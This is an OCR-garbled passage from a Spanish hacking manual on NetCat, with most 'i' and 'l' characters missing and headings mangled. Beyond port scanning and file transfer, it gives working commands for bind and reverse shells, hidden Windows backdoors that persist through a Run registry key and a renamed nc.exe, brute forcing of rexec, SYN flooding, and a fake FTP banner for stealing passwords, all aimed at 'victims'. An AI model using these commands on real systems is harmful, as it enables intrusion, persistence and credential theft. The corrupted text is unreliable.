hecho especfcamente para rastreo de puertos, para eso exsten otras herramentas que tenen a su
dsposcn personas que queran anazar su sstema, o e de otros.
E argumento 5r e ndca a NetCat que haga un rastreo de puertos a azar y, a msmo tempo,
utzar nuestros puertos ocaes aeatoramente. as es menos obvo e rastreo. A usar e argumento
5&, e puerto oca sempre ser e msmo. Nuevamente, s se agrega e argumento 5i e rastreo es
menos obvo porque no es tan "nsstente", aunque tarde ms. Por o tanto, os admnstradores de
sstema deben prestar an ms atencn a o que nos presentan os ogs.
Es posbe tamben usar e argumento 5g para envar paquetes por un camno predetermnado
(source-routng). Se puede usar hasta 8 veces para construr e camno que segur a nformacn.
E|empo:
nc -v -w 3 -g gateway1.net -g gateway2.net ob|etvo.prncpa.net 23
E argumento 5J (mayscua) es un ndcador que srve para a|ustar e camno que recorrern os
paquetes de nformacn envados. Los vaores para este argumento debern ser mutpos de 4 (4, 8,
12...).
Hay que tener en cuenta que muchas redes no aceptan datos "encamnados" de este modo. Pero es
t para probar s nuestra red es vunerabe. Adems, Lnux no tene soporte para source-routng por
ahora.
184
NetCat actua de manera muy smar a comando cat, en Unx. Lee e standard nput de a msma
manera y podemos cerrar a conexn con trl]. Datos bnaros o ASCII pueden transmtrse
medante "ppng" desde agn programa, eyndoos desde agn archvo. Por e|empo:
cat archvo | nc -v -w 3 destno.com 12345 o
nc -v -w 3 destno.com 12345 < archvo
Dsos es&ec;7icos
Estos son soo agunos e|empos para reazar cosas comunes. Sn embargo, pueden servr para dar
deas a a mente creatva. Mane|ar NetCat con scrpts SH (o a She que usen) es una manera fc de
hacer cosas ms compe|as.
NetCat es una herramenta que os admnstradores de sstema encontrarn que es muy t para que
aguen, con conocmento ntermedo de redes, escrba hacks rpdos que puedan atacar puntos
dbes en su sstema.
Acceso a la ...
nc -v www.raza-mexcana.org 80
Y a hacerse a conexn,
GET /nahua/documento.htm
Acceso a la ... v;a el scri&t ascri&ts2Geba
web www.raza-mexcana.org
E puerto defaut es 80. Un <ENTER> nos eva a archvo defaut, /ndex.htm. Para abrr otros
archvos, se da e nombre de archvo. E|empo:
/nahua/documento.htm
Comandos dsponbes (sn comas):
Para subr de drectoro, conservando e nombre de archvo, ".."
Para guardar un archvo, "SAVE"
Para cambar de host, "HOST"
Para cambar de puerto "PORT"
Nota: En os puntos anterores se harn vsbes os tags HTML. Esto es porque NetCat no nterpreta e
cdgo, o presenta como cdgo fuente HTML, ta como es.
Acceso a servicios en diversos &uertos =telnetdH 7t&dH etc4>
Hacer conexn va sendma, por e|empo:
nc -v mquna1.she.net 25
A termnar de hacer uso de sendma, o o que esten usando, soamente hay que dar un Ctr+C para
cerrar a conexn.
185
Bastreo de &uertos activo
echo qut | nc -v -w 3 mquna1.she.net 20-250 500-600 4000 6667-7000 > archvo.txt 2>&1
E standard output de echo, "qut", va a ser e standard nput de NetCat, as es posbe hacer a
conexn, y sarse automtcamente, obtenendo ms nformacn sobre e servco que ofrecen os
puertos abertos. Evtar acceso a &uerto 3Q =c+argen>, por supuesto. Todo ser grabado en
archvo.txt. Incuyendo mensa|es de error (2>&1). Hay que recordar que os standard error no son
necesaramente errores, pueden ser avsos de kerne, como a exstenca de puertos abertos.
Bastreo de &uertos &asivo
nc -v -w 2 -z mquna1.she.net 20-250 500-600 400 6667-7000 > archvo.txt 2>&1
Nos nformar sobre servcos abertos, pero sn ntentar acceso a sstema. Nuevamente, no es un
hafscan. Podemos ver a conexn grabada en os ogs de sstema.
Transmisi'n2Bece&ci'n de datos
Drectoros archvados:
Preparar e receptor
nc - -p 31337 | uncompress -c | tar xvfp -
Actvar e transmsor
tar cfp agun/drectoro | compress -c | nc -w 3 destno.com 31337
Archvos:
Preparar e receptor
nc - -p 12345 | uncompress -c > archvo.xxx
Actvar e transmsor
compress -c archvo.xxx | nc -w 3 destno.com 12345
Nota: Obvamente compress y uncompress pueden ser reempazados por gzp y gunzp
respectvamente.
Bece&ci'n de datos v;a broGser
Preparar e receptor
nc - -p 20034 <fotoXXX
Conectarse con e browser (por decr, ynx, netscape, etc.)
ynx http://mquna1.she.net:20034
Nota:
E browser tende a corromper os datos. S, por aguna razon, no se tene un servco de ftp o http en
su mquna, y se necesta usar NetCat para esto, se recomenda soo transferenca de archvos en
formato ASCII.
186
Beem&la/o ex&erimental de inetd
Para hackers de nux, esto es t s queren expermentar en su mquna con servdores
generamente controados por netd. Soo funcona s tenen defndo e fag DGAPING_SECURITY_HOLE
a compar NetCat, porque se necesta e argumento 5e.
Enetd inverso
NetCat puede conectarse a exteror y correr un programa una vez conectado.
Beem&la/o &rimitivo de tal*d
Se puede tener una conversacn con aguen a esto irc (Internet Reay Chat) pero sn ag, en vrtud
de que a conexn es drecta (DCC; Drect Cent To Cent). Los e|empos utzan TCP, pero s ambos
ados agregan e argumento 5u, utzarn e protocoo UDP en su transmsn de datos.
Cuaquer extremo podr desconectarse y voverse a conectar, contraro a o que sucede con TCP que
termna a conexn cuando recbe e trl] de otro ado.
Una persona nca.
nc - -p 12345
Otra persona se conecta
nc -w 3 host.de.otro 12345
Bedirecci'n de tr67ico de un site GGG a otroH o de un 7ireGall a el verdadero site4
Incur esto en e archvo
/etc/netd.conf
www stream tcp nowat nobody /etc/tcpd /bn/nc -w 3 www.ddocam.com 80
0obrecargando la m6-uina
Se puede sobrecargar a mquna que estamos probando con un exceso de nformacn, para verfcar
a habdad de kerne para procesara. E e|empo usa TCP, pero UDP produce ms basura todava.
Abrmos un puerto
yes 12345678901234567890 | nc -vv - -p 6969 > /dev/nu
Y o bombardeamos de da y regreso
yes 09876543210987654321 | nc mquna1.she.net > /dev/nu
E programa data/data.c puede generar datos aeatoros, utes para probar a estabdad de servco
que estemos probando.
Analisis de &rotocolos
A fata de acceso a herramentas especazadas, puede hacerse anazando os datos transmtdos
con e argumento 5o. E admnstrador de sstema, o un atacante con acceso a una root she, puede
usar esto como s fuera un snffer.
0imulaci'n de clientes de servicios remotos
Se puede hacer una smuacn de centes de servcos remotos (rservces), ayudado con e programa
data2rservice4c, o con rs+ y rlogin. De esta manera es posbe ver s hay hosts remotos nseguros
en 4r+osts.
187
rservce usuaro password | nc -v -w 2 -p 1023 mquna1.she.net 23
1eri7icar 7uncionamiento de las alertas de sistema =s)slog>
S 2etc2s)slog4con7 es confgurado de certa forma, e sguente e|empo podra mandar una aerta a
as termnaes de todos os usuaros.
echo '<0>cuaquer_mensa|e' | nc -v -w 2 ocahost 514
Recordar que 514 es e puerto sysog.
+e-ueo de blo-ueo de source5routing
Verfcar que nuestro sstema boquea paquetes "encamnados" (source-routed) y que son
correctamente ftradas conexones TCP y UDP a puertos normamente protegdos de exteror,
probando con dferentes puertos y hosts.
@lo-ueo de conexiones a &uertos es&eci7icados
Los servdores de Xwndow son muy vunerabes en vrtud se aceptar conexones de cuaquer puerto.
NetCat puede garse a puerto 6000 de X server y cerrar cuaquer ntento de conexn, y hasta
puede grabar ese ntento.
Veamos e sguente scrpt:
#!/bn/sh
# Este scrpt recbe conexones a puerto defaut de X server
# en este caso provenentes de nuestra mquna, puerto 2, para despus
# cerrara. Fcmente pueden agregrsee opcones para hacero ms fexbe y potente.
whe true ; do
nc -v - -s 127.0.0.1 -p 6000 ocahost 2
done
Este scrpt hace que NetCat acepte y despus cerre cuaquer conexn entrante a nuestra dreccn
norma de Ethernet de nuestra estacn de traba|o y otra copa es de nmedato e|ecutada por e
scrpt. Enva un error estndar a un archvo para regstro de ntentos de conexones.
Programas en &uertos
En caso de que scrpts CGI no sean permtdos en e web server, se puede abrr un puerto con NetCat,
en ocahost o en aguna otra mquna, y usaro para correr programas que hagan o que
generamente hara un scrpt CGI, hacendo referenca a ese puerto en dcha mquna.
Puertos in7ectados
Abrr puertos que generamente soo estaran abertos en mqunas Wndows nfectadas con cabaos
de troya como netbus, sockets de troe, etc. Cuando aguen ntente hacer a conexn con e faso
servdor troyano, se puede responder envndoe cantdades enormes de nformacn nut, o un
agun ataque DoS, etc.
Puertos bajos
Es posbe gar puertos ba|os como e 20 y conectarse a otras mqunas, para as evtar muchas
veces ftros que esa mquna tenga. Por e|empo, os servdores NFS muchas veces aceptan
conexones de exteror sn ftraras, cuando provenen de certos puertos. E admnstrador de
sstema debe tener esto en cuenta.
En sstemas Unx es necesaro ser root para tomar puertos ba|os (< 1024). En Wnxx me parece que
no hay nngun probema con tomar esos puertos.
188
Ligar &uertos
Es posbe gar certos puertos y correr servdores fasos, a os cuaes os usuaros podran conectarse
y as es posbe nterceptar nformacn, esto snffer. Toda nformacn que pase por e faso servdor
puede ser grabada mendante e argumento 5o.
Por a exstenca de esta posbdad, es recomendabe hacer o sguente:
1.Utzar SSH para conectarse a os servcos de un sstema (en ugar de tenet)
2.Utzar PGP para envar nformacn desde dcho sstema
Argumentos 5l ) 5e
Usar NetCat con os argumentos 5l y 5e es t para tener acceso a una she (Unx o ms-dos). S se
usa UDP a conexn permanece aberta ndefndamente, y soo de|ar entrar aqueos con nuestro IP.
Escuchar a conexn desde un puerto y host especfcos hace dfc que aguen mas entre, s
eegmos usar TCP.
Sstema remoto
nc -u - -e /bn/sh -p 3333
Nuestro sstema
nc -u -w 3 sstema.remoto.net 3333
Obvamente, a she en Unx puede ser cuaquera de a fama C, o Bourne. La fama TCL (tcsh y
wsh) no funcona porque no son shes verdaderas, requeren cargarse ba|o una she autntca. En
caso de mqunas NT, a she es cmd4exe. En otros tpos de Wndws es command4com pero, como
ya se mencon, es posbe que no de resutado abrr un puerto en Wn9X.
Ata-ue &or @rute !orce
Se puede hacer un ataque a sstemas por fuerza bruta, advnando passwords, una vez obtenda a
sta de usuaros. E sguente e|empo va a usar e programa rservce para meter un usuaro, su cave
de acceso, y un comando (en caso de que descubramos a cave) a puerto 512 (exec) de a mquna
remota, va standard nput a NetCat.
rservce usuaro password pwd | nc -v -w 3 mquna1.she.net exec
E comando pwd es e defaut, por o tanto no es obgatoro ponero, pero es posbe poner cuaquer
otro comando en su ugar.
Es menos probabe que se graben ntentos fados de acceso en os ogs atacando exec remoto
(rexec) va e puerto 512, contraro a otros puertos ms "conocdos". Es una debdad que muchos
pueden aprovechar.
Es posbe atacar va ogn remoto (rogn) por e &uerto M3K, pero es necesaro garse a un puerto
entre 512 y 1023, de o contraro rlogind no permtr e acceso.
Ataque a &uerto 33R =&o&K> es otra opcn, a cua aprovechan programas como e "hotma
hacker".
E cracker que desee atacar un sstema, puede agregar un gosaro o dcconaro y una sta de
usuaros con facdad, y hacer crackng por fuerza bruta (Brute Force). Pero un sstema ben
confgurado y un admnstrador que sepa hacer e traba|o por e que se e paga, con segurdad podr
detectar este tpo de ataque (muy ento, por certo).
189
0&oo7ing
E Spoofng es cosa senca y depende soamente de qu dreccones podemos usar para "encamnar"
nuestros paquetes y de qu mqunas acepten nformacn recbda de esta manera. Soo es cosa de
construr ese camno con os argumentos 5g y s es necesaro, 5J
0TN !looding
E ataque SYN foodng contra agun servco es fc de reazar utzando e argumento 5s con unos
cuantos hosts fasos, 5 o ms es un buen nmero. Consste en envar un paquete de sncronzacn
(SYN) para pedr una conexn, e servdor responder que ha recbdo e paquete y est sto para
estabecer a conexn (SYN/ACK), e cente deber responder (ACK), pero como e SYN fooder usa
hosts fasos, e servdor nunca recbr e ACK y se quedar esperndoo por determnado tempo,
agotando recursos.
En otras paabras, SYN foodng se basa en un "3-way handshakng" ncompeto. E queue se enar
de peddos de conexn y a memora dsponbe se despomar rpdo. E ataque, por o genera, soo
deshabtar e servco sendo atacado, a menos que a mquna sendo atacada tenga poca
memora dsponbe.
Como admnstradores, sabremos de este tpo de conexn ncompeta con e comando netstat. Lo
notaremos en estado SYN_RECV. Para dsmnur este probema, causado con NetCat o cuaquer otra
herramenta, se puede aumentar e nmero de conexones ncompetas permtdas por e kerne,
dsmnur e tempo que esperar e servdor por un ACK (e defaut suee ser 3 a 5 mnutos), o ta usar
agun sstema de montoreo de conexones mande un paquete RST a as conexones ncompetas.
Obtener acceso remoto a una s+ell en .indoGs
S se e|ecuta e comando
nc.exe - -p4455 -e cmd.exe
desde una ventana de smboo de sstema en una pataforma basada en Wndows NT o Wndows
2000, cuaquera que reace un Tenet a puerto 4455 de dcha pataforma se encontrar con una
she DOS sn tener que ncar una sesn en ea. Cas sn esfuerzos acabamos de obtener un
ndcador de comandos en e sstema atacado. Naturamente, en os sstemas Wndows NT y Wndows
2000, tendr os msmos prvegos y servcos que e usuaro que e|ecute NetCat. S creamos de esta
manera una puerta trasera en Wn95-98-98ES y WnXP, obtendremos un contro competo.
Vamos a profundzar en este comando, recordar que de forma predetermnada NetCat se e|ecutar en
a ventana DOS que se haya ncado, este hecho sgnfca que a ventana de contro de comandos
tendr que permanecer aberta mentras NetCat se encuentre en e|ecucn. Empearemos a opcn ^
d para separara de ndcador de comandos.
nc.exe - -p 4455 -d -e cmd.exe
De sta forma, podremos ocutar una puerta trasera basada en NetCat. Sn embargo s aguen reaza
un Tenet a puerto 4455 y se conecta, tan pronto como se fnace a conexn, NetCat pensar que su
traba|o ha termnado y de|ar de escuchar. Para evtar esto utzaremos a opcn ^L dcndoe a
NetCat que escuche con ms nters ncuso despus de haber fnazado a conexn.
nc.exe -p 4455 -d -L -e cmd.exe
Esto permtr vover a sstema hasta que e admnstrador de ese sstema descubra a puerta
trasera, o que puede ser ms temprano que tarde. Y para evtar ser descubertos podemos cambar
e nombre de nc4exe por cuaquer otra cosa.
190
0u&lantar una direcci'n EP
Supantar una dreccn IP resuta senco. Los cortafuegos que reazan enmascaramento o una
traduccn de as dreccones de red supantan daramente dreccones IP. Estos dspostvos toman
un paquete desde una dreccn IP nterna, camban a dreccn IP orgen de paquete a su propa
dreccn IP, o envan por a red y deshacen as modfcacones cuando vueven a recbr os datos
desde e destno. Por eo, decmos que modfcar os contendos de a dreccn IP orgen en un
paquete IP resuta senco. Lo que s es dfc es ser capaz de recbr datos desde una dreccn IP
supantada.
NetCat dspone de a opcn ^s que nos permtr especfcar a dreccn IP que deseemos.
Cuaquera podra ncar una exporacn de puertos utzando a opcn ^s para hacer pensar que
estn sendo exporado por Mcrosoft o e FBI. Sn embargo, e probema nos vene cuando deseamos
reenvar as respuestas emtdas por e puerto supantado a nuestra dreccn IP rea.
Supongamos, por e|empo, que e host destno pensa que ha recbdo una petcn de conexn de
Mcrosoft, ntentar envar un mensa|e de reconocmento a dcha IP de Mcrosoft. Naturamente, esta
dreccn IP no tendr dea de o que est habando e host de destno y envar un reset. Cmo
podemos envar a nformacn de vueta a a dreccn IP rea sn que seamos descubertos? En ugar
de atacar a a mquna destno, a nca otra opcn vabe es utzar e encamnamento dependente
de orgen. E encamnamento dependente de orgen permte a una apcacn de red especfcar a
ruta que desea segur para egar a su destno.
Exsten dos tpos de encamnamento dependente de orgen:
E estrcto
E rea|ado
E encamnamento dependente de orgen estrcto sgnfca que e paquete debe especfcar cada
sato a reazar en a ruta hasta egar a host de destno. Agunos routers y otros dspostvos de red
sguen permtendo e encamnamento dependente de orgen estrcto, pero muy pocos permten e
encamnamento dependente de orgen rea|ado. E encamnamento dependente de orgen rea|ado
ndca a os routers y a os dspostvos de red que os routers pueden efectuar a mayor parte de
encamnamento hasta egar a host de destno, este proceso nos permtr hacer que e paquete
pase por nuestra mquna a regresar. Utzando este mtodo, e encamnamento dependente de
orgen permte que supantemos una dreccn IP y que obtengamos as respuestas en su va|e de
vueta. La mayora de os routers gnoran as opcones de encamnamento dependente de orgen,
pero no todos.
La opcn ^g de NetCat nos permtr especfcar hasta 8 satos que deber dar e paquete antes de
egar a su destno, por e|empo:
nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g 10.10.9.9 10.10.9.50 23
entrar en contacto con e puerto tenet en 10.10.9.50, pero s as opcones de encamnamento
dependente de orgen se encuentran actvadas sobre routers ntermedos, trfco se ver forzado a
segur a ruta a travs de estas 4 ubcacones antes de acanzar su destno. S ntentamos
nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g 10.10.9.9 -G 12 10.10.9.50 23
en este comando estaremos especfcando un puntero de sato utzando a opcn ^J. La opcn ^J
confgurar e puntero de sato a nsmo byte (en este caso e duodcmo) y como as dreccones IP
tenen 4 bytes de ongtud, e puntero de sato comenzar en 10.10.7.4. Por o que en su camno a
10.10.9.50, e trfco necestar atravesar ncamente as dos utmas mqunas (porque de acuerdo
con e puntero de sato ya hemos estado en as prmeras). Sn embargo en e va|e de vueta e
paquete s pasar por as 4 mqunas.
191
@ac*doors =Puertas Traseras>
|Una bsca Puerta Trasera de Escucha|
Lnux:
nc - -p 10000 -e /bn/bash
En Lnux, NetCat no posee a opcn 5L pero puede usarse e sguente scrpt que har que NetCat
mmetce a opcn 5L:
#!/bn/bash
export port=${port:-$1}
nc - -p $port -e $0 & # Espera ms conexones
| $1 ||| PROGRAM
Puerta Trasera para Wndows:
nc -L -p 10000 -e cmd.exe
0ac6ndole la vuelta al orta7uegos =Para .indoGs>
Sobre e Cortafuegos y a travs de router
|Sesn Tenet Inversa|
Tenes acceso a un host en una red corporatva, pero amentabemente e host se encuentra detrs
de un Cortafuegos que no permte a entrada de conexones desde e nternet. E host resde sobre
una red RFC 1918. E Cortafuegos es MUY restrctvo y soo permte conexones de sada a servdores
HTTP. En estos casos NetCat puede usarse para crear un tne de sada de a red. A gua que a
puerta trasera de e|empo anteror, se hace e msmo procedmento pero a revs, por decro de
aguna manera.
En e caso en que e host nterno sea forzado a usar un servdor proxy para HTTP, hay que ntentar os
puertos 21 y/o 23. Estos puertos en raras ocasones se encuentran detrs de proxes debdo a que
esto causara que os servcos que se e|ecutan en estos puertos tuveran probemas con as
conexones.
Cente:
nc -vv - -p 80
Servdor:
nc cent_p_address 80 -e /bn/bash
La nea en Servdor e ndca a NetCat que nce sesn haca a dreccn IP de nuestro Cente. Una
vez conectado e servdor, ste se conecta a Cente. Entonces e Servdor e|ecutar una consoa de
comandos /bn/bash.
Ex&loraci'n silenciosa de &uertos =Netat como scanner>
Como NetCat puede habar con un rango de puertos, un uso que resuta muy obvo sera utzaro
como escaneador de puertos. Sus mutpes opcones e permten reazar un gran nmero de
combnacones, pudendo reazar escaneos en Puertos aeatoros, en puertos conocdos, en modo
ascendente o descendente, con ntervaos de tempo, utzando gateways para evtar mostrar a IP
fuente de Scannng, etc. La opcn ^/ es a respuesta. ste parmetro e ndcar a NetCat que enve
una determnada cantdad de datos haca agn puerto, pero dcha cantdad soo ser sufcente para
saber s e puerto est aberto o no. En ste caso utzaremos a opcn ^v o ^vv ya que sn por o
menos una -v no podremos ver e resutado de toda a exporacn.
192
S se hace una exporacn de puertos a 127.0.0.1 desde e 100 hasta e 145 se puede obtener como
resutado que soo se encuentran abertos e 111 y e 139.
-$ nc -v -z 127.0.0.1 100-145
Oranna |127.0.0.1| 139 (netbos-ssn) open
Oranna |127.0.0.1| 111 (sunrpc) open
-$ nc -vv -z 127.0.0.1 139-145
Oranna |127.0.0.1| 145 (?) : Connecton refused
Oranna |127.0.0.1| 144 (?) : Connecton refused
Oranna |127.0.0.1| 143 (map2) : Connecton refused
Oranna |127.0.0.1| 140 (?) : Connecton refused
Oranna |127.0.0.1| 139 (netbos-ssn) open
...
Oranna |127.0.0.1| 111 (sunrpc) open
sent 0, rcvd 0
La prmera exporacn tene a opcn -v, mentras que a segunda eva a opcn -vv.
Pero esta forma de hacero no es a ms correcta que dgamos porque agunas apcacones de
cortafuegos, boquearn determnada dreccn IP s recben demasadas conexones sobre ea en un
perodo muy corto de tempo. Para que no suceda esto NetCat permte hacer exporacones de una
manera ms dscreta, tan dscreta que no parecer una exporacn de puertos. Se podr utzar a
opcn ^i y confgurar un ntervao de prueba y a opcn ^r para que o e|ecute de manera aeatora.
Esto debe quedar de a sguente forma:
-$ nc - 5 -vv -z -r 127.0.0.1 100-145
Oranna |127.0.0.1| 139 (netbos-ssn) open
Oranna |127.0.0.1| 111 (sunrpc) open
En a nstruccn anteror se e dce a NetCat que expore os puertos de a IP 127.0.0.1 desde e 100
hasta e 145 de manera aeatora, habendo 5 segundos entre entre exporacones. Y NetCat ha
nformado que soo se encuentran abertos e 139 y e 111. Puede hacerse este msmo procedmento
para os puertos UDP soo agregndoe ^u a a nea de comandos.
Vovemos con a opcn 5v (verbose) y a Opcn 5/ (zero /o) que es usada para scannng, os puertos
se o especfcamos a fna de IP de host, ben sea ndvduaes separados por un espaco; o por un
rango de puertos.
0ni77er
Otra de as nteresante posbdades de NetCat es su capacdad para escuchar conexones en
cuaquer puerto, pudendo redrecconar todo e trfco de msmo haca un archvo o haca pantaa.
En este senco e|empo, podemos observar as bases de un senco snffer en Wndows
nc -v -v -L 127.0.0.1 -p 23
DNS fwd/rev msmatch: ocahost != darkstar stenng on |any| 23 ...
DNS fwd/rev msmatch: ocahost != darkstar
connect to |127.0.0.1| from ocahost |127.0.0.1| 1131
ogn: snffado
password: tambn.
Se puede ver todo o que escrben aqu... Tamben podemos redrecconar toda a sada a un archvo
e rnos a reazar otras actvdades, mentras NetCat hace su traba|o:
193
nc -v -v -L -p 23 127.0.0.1 -t >ogn.txt
stenng on |any| 23 ...
|Aqu vene a conexn...|
DNS fwd/rev msmatch: ocahost != darkstar
connect to |127.0.0.1| from ocahost |127.0.0.1|
1030
|Todo o que escrba a conexn se va a archvo ogn.txt|
sent 0, rcvd 42
DNS fwd/rev msmatch: ocahost != darkstar
stenng on |127.0.0.1| 23 ...
E Expot-Expaned: nc -v -v -L 127.0.0.1 -p 23
E|ecutamos NetCat con a opcn o varabe 5v (verbose) esto har que e resutado de NetCat, sea
mostrado drectamente en pantaa (a dferenca de archvo usado por Dr._X) , a opcn o varabe 5L
(Lsten, and sten agan) nos permtr de|ar escuchando u "oendo" en determnado puerto aun
cuando a conexn sea nterrumpda (sten agan), con a varabe 5& e ndcamos e puerto...
A e|ecutar a NetCat con esa combnacn de varabes as opcn 5v ndca en pantaa e Host y e
puerto de escucha:
DNS fwd/rev msmatch: ocahost != darkstar
stenng on |any| 23 ...
Reazamos desde otra ventana un tenet a ocahost (127.0.0.1) en e puerto 23. NetCat nforma
sobre o que ocurre en e puerto 23:
DNS fwd/rev msmatch: ocahost != darkstar
connect to |127.0.0.1| from ocahost |127.0.0.1|
1131
ogn: snffado
Detector de onexiones 0os&ec+osas
La posbdad de de|ar a NetCat escuchando en determnados puertos, permte crear una espece de
"trampa" para un atacante que utce scanners, o herramentas taes como NetBus o BackOrfce en
contra de nuestras estacones. Incuso podemos crear un archvo que haga un Food y redrecconar
su sada haca a estacn agresora en caso de una conexn no autorzada a determnado puerto.
Este es un e|empo de un detector de toyano Back Orfce (BO) y funcona! ste es un e|empo rea
de un da como cuaquer otro en IRC; he aqu e e|empo:
nc -u -v -v -L -p 31337 127.0.0.1 31337
DNS fwd/rev msmatch: ocahost != darkstar
stenng on |any| 31337 ...
nvad connecton to |0.0.0.0| from
nas1-064.ras.bqm.cantv.net
|161.196.246.65|
31338
194
Back Orfce utza e protocoo UDP para reazar sus travesuras. Reaza a conexn desde un puerto
aeatoro (cas sempre e 1080) aunque en este caso o hzo desde e 31338 (quz una varante de
BO), por eso se utza a opcn 5u (protocoo UDP). NetCat se queda en espera conexones UDP en e
puerto 31337 (defaut de BO) , cuando aguen hace un sweep a tu IP, NetCat o detecta envando a
pantaa e IP y e DNS de agresor. Luego un pequeo "Png of Death" (Nuke) para e transgresor y e
hacen un Scan para ver cuando desaparece.
nas1-064.ras.bqm.cantv.net |161.196.246.65| 48
(?): connecton refused
nas1-064.ras.bqm.cantv.net |161.196.246.65| 47
(?): connecton refused
nas1-064.ras.bqm.cantv.net |161.196.246.65| 46
(?): connecton refused
nas1-064.ras.bqm.cantv.net |161.196.246.65| 45
(?): TIMEDOUT
nas1-064.ras.bqm.cantv.net |161.196.246.65| 44
(?): TIMEDOUT<--Hasta a vsta
Otros usos <iscel6neos
Se puede utzar ago de ngenera soca para capturar agunos passwords con NetCat. Por e|empo,
s una mquna no tene aberto e puerto de FTP o de tenet, creamos un archvo de texto que
socte e ID y e Password de a vctma:
Mcrosoft Internet FTP Server V.5.9 |Beta| 04/16/99 myhost.com
Pease ntroduce Username, password and press "Enter"
LogOn:
Luego redrecconamos e archvo haca a vctma:
nc -v -v -L -p 21 nombre de host -t < ogn.txt
Muchos tontos ncrduos caen... Ah va su password, un poco de magnacn y maa permtrn
encontrar muchas utdades para NetCat.
Netat en 1e/ de Telnet
Son muchas as personas preferen utzar e NetCat para reazar sus conexones remotas como
aternatva a Tenet. La mayor de as venta|as de reazar conexones Tenet desde NetCat es que ste
esconde "ago" sobre tu conexn, o que o hace ms "sgoso" que Tenet (de ah por que o amaron
NetCat). NetCat reaza una conexn limpia en determnado puerto, obvando as negocacones
comunes de Tenet que puedan confundr a cente en determnados casos, como por e|empo, a
utzar certos Backdoors muy conocdos en sstemas Unx.
Nota: Agunas mqunas nterpretan a cente de tenet y asumen e nombre de usuaro que o utza,
de a e porqu agunos servdores soo preguntan por password; teorcamente NetCat no enva esta
nformacn. Por eso, es recomendabe acostumbrarse a utzar NetCat para hacer conexones
remotas:
nc -v nombre_de_host 23 (o e puerto de nuestra preferenca)
Pre&arando una tram&a
Mquna entrampada (192.168.0.1):
nc - -p 5606 < hack.exe
195
Escucha por conexn en e puerto 5606 y se asta a transferr hack.exe cuando se estabezca a
conexn.
Mquna Atacante (192.168.0.2):
Se conecta a 192.168.0.1
Recbe hack.exe a estabecerse a conexn.
Eniciar una consola de comandos de modo remoto
Mquna Cente (192.168.0.1)
nc 192.168.0.2 5606
Se conecta a 192.168.0.2 en e puerto 5606
Mquna Servdor (192.168.0.2)
nc - -p 5606 -e cmd.exe
Escucha en e puerto 5606. Estabece cmd.exe para ser e|ecutado cuando otra mquna se conecte a
puerto 5606.
Obtener una consola directamente
Una she drecta es bastante fc de ograr, pero no es a ms recomendada. Conforme vayas
estudando te dars cuenta de sus desventa|as. Para ograr una she drecta e equpo vctma tene
que e|ecutar e sguente comando:
nc - -e /bn/sh -p 6000
nc Ah nvocamos a NetCat. 5l Para poner a a escucha un puerto. 5e Srve para amar a a e|ecucn
de un programa. 2bin2s+ Es a she de Lnux. En wndows sera cmd.exe. 5& Para ndcar qu puerto
queremos poner a a escucha
De ta manera que o que hacemos en a vctma es poner a a escucha e puerto 6000, srvendo para
aguna conexn remota e programa /bn/sh, que es a she de Lnux. S a vctma es un SO Wndows,
este progama sera cmd.exe. Una vez hecho eso en a vctma nos queda conectar con ea, con a
mquna atacante. Para eo smpemente ndcamos IP y PUERTO:
nc -vv <IP> <PUERTO>
Donde:
5vv Srve para dar ms datos (dobe verboso). UEPV Aqu va a IP de a vctma. UPDEBTOV Aqu e
Puerto de conexn.
En este e|empo e comando qued de a sguente manera:
nc -vv 192.168.1.34 6000
Y obtendremos una she de nuestra mquna Lnux.
NOTA: En este e|empo no aparece e csco "c:\" porque a vctma es un SO Lnux, s fuera un
Wndows s aparecera. Otra cosa mportante a decr es que s tenemos un router o frewa, debemos
abrr os puertos, de otro modo, nada servr.
196
Trans7iriendo arc+ivos
Mquna Cente (192.168.0.1)
nc 192.168.0.2 5607 < hack.txt Contro-C
Se conecta a 192.168.0.2 en e puerto 5607, Contro-C para competaro.
Mquna Servdor (192.168.0.2)
nc - -p 5607 > hack.txt
Escucha en e puerto 5607. Se confgura para recbr archvo y coparo a /DrDestno/archvo
onectarse a Puertos
Mquna Cente (192.168.0.1):
Conectarse a puertos
1. nc -v 192.168.0.2 21
Conectarse a puerto 21
2. nc -v 192.168.0.2 79
Intentar 79 (fnger) para obtener nombres de cuentas
3. nc -t 192.168.0.2 23
Obtener un ogn Tenet (s se confguraron as caracterstcas especaes a compar NetCat)
Obtener una consola inversa
Para m, esta es a manera ms efcaz de obtener una she, porque no nos conectamos a a vctma,
es ea quen se conecta a nosotros. Vemoso con un e|empo: En a mquna atacante ponemos este
comando:
nc -vv - -p 6000
Ponemos a a escucha e puerto 6000. En a mquna vctma (Lnux) teceamos e sguente comando:
nc -e /bn/sh 192.168.1.33 6000
La vctma srve a she y se conecta a atacante. Esto tene muchas venta|as, ya que s por e|empo
se tene una vctma con IP Dnmca (a IP camba cada certo tempo) no se podr tenera como
vctma e tempo que se desee, y a ntentar a conexn no se competar porque su IP habr
cambado. Pero s en cambo, es ea a que se conecta a uno, ah es gananca, porque se puede poner
un domno NO-IP, por e|empo, y cada vez que nos pongamos a a escucha se recbr a she.
Ejem&los de Arc+ivos de Procesos &or Lotes =.indoGs>
Los que sguen son dos archvos de procesos por otes que pueden ser edtados y usados muy
dscretamente para e|ecutar os comandos en e sstema banco. De modo gua de dscreto, agrega
una entrada a regstro de Wndows que nca a escuchador cada vez que e sstema se nca.
reg.exe (47KB)
nc.exe (58KB)
197
Arc+ivo de &roceso &or lotes 3
@echo off
move nc.exe %systemroot%\system32
start %systemroot%\system32\nc.exe -L -d -e cmd.exe -p 1000
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\mcrosoft\wndows\CurrentVerson\Run\ /v Rundcms /t REG_SZ /d
"%wndr%\system32\nc.exe -L -d -e cmd.exe -p 1000"
ext
Arc+ivo de &roceso &or lotes 8
@echo off
move nc.exe %systemroot%\system32
start %systemroot%\system32\nc.exe 192.168.0.1 1080 | cmd.exe | nc.exe 192.168.0.1 8888
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\mcrosoft\wndows\CurrentVerson\Run\ /v Rundcms /t REG_SZ /d
"%wndr%\system32\nc.exe 192.168.0.1 1080 | cmd.exe | nc.exe 192.168.0.1 8888"
ext
De qu srve e NetCat s hay que tener acceso fsco a a PC? Pues no. No necesaramene hay que
tener acceso fsco a a PC. Aqu aba|o hay un expot para wndows (para Lnux no hay vrus, n expot
n nada |s os hay, pero no de NetCat|) con e que se podr recbr una she nversa:
